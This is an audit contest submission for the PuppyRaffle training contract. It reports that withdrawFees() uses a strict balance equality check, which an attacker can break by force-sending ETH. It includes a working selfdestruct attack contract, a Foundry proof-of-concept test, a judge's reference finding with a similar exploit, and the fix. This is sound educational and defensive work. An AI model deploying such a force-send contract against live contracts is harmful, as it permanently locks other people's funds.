Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

withdrawFees() uses strict balance equality, permanently blocking fee withdrawal if any ETH is sent directly to the contract

virgilbb

Root + Impact

Description

  • PuppyRaffle allows the fee address to call withdrawFees() to retrieve accumulated protocol fees after a round ends.

  • The function guards withdrawal with a strict equality check between address(this).balance and totalFees; because Solidity contracts can receive ETH via selfdestruct or coinbase tips without executing any function, any unexpected ETH credit permanently prevents withdrawal.

function withdrawFees() external {
require(address(this).balance == uint256(totalFees), // @> strict equality — any dust ETH breaks this forever
"PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • An attacker only needs to send 1 wei to PuppyRaffle via a selfdestruct force-send (bypassing receive/fallback); this costs negligible ETH and permanently bricks fee withdrawal.

Impact:

  • All accumulated protocol fees are indefinitely locked in the contract; the owner loses revenue from every past and future raffle round with no on-chain recovery path.

Proof of Concept

An attacker deploys a contract funded with 1 wei and calls selfdestruct(address(puppyRaffle)) to force-send ETH, making the balance exceed totalFees by 1 wei and causing withdrawFees to revert on every subsequent call.

contract ForceEth {
constructor(address payable target) payable {
selfdestruct(target); // bypasses receive() — balance increases without updating totalFees
}
}
​
function testWithdrawBlocked() public {
// Setup: raffle has run, fees accumulated
uint256 fees = address(raffle).balance; // equals totalFees at this point
​
// Attacker force-sends 1 wei
new ForceEth{value: 1}(payable(address(raffle)));
​
// Now balance == totalFees + 1 — withdrawFees reverts forever
vm.prank(raffle.feeAddress());
vm.expectRevert("PuppyRaffle: There are currently players active!");
raffle.withdrawFees();
}

The PoC confirms that a 1-wei force-send permanently blocks fee withdrawal.

Recommended Mitigation

Replace the strict equality with a >= check so any surplus ETH does not block withdrawal.

- require(address(this).balance == uint256(totalFees),
- "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees),
+ "PuppyRaffle: There are currently players active!");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!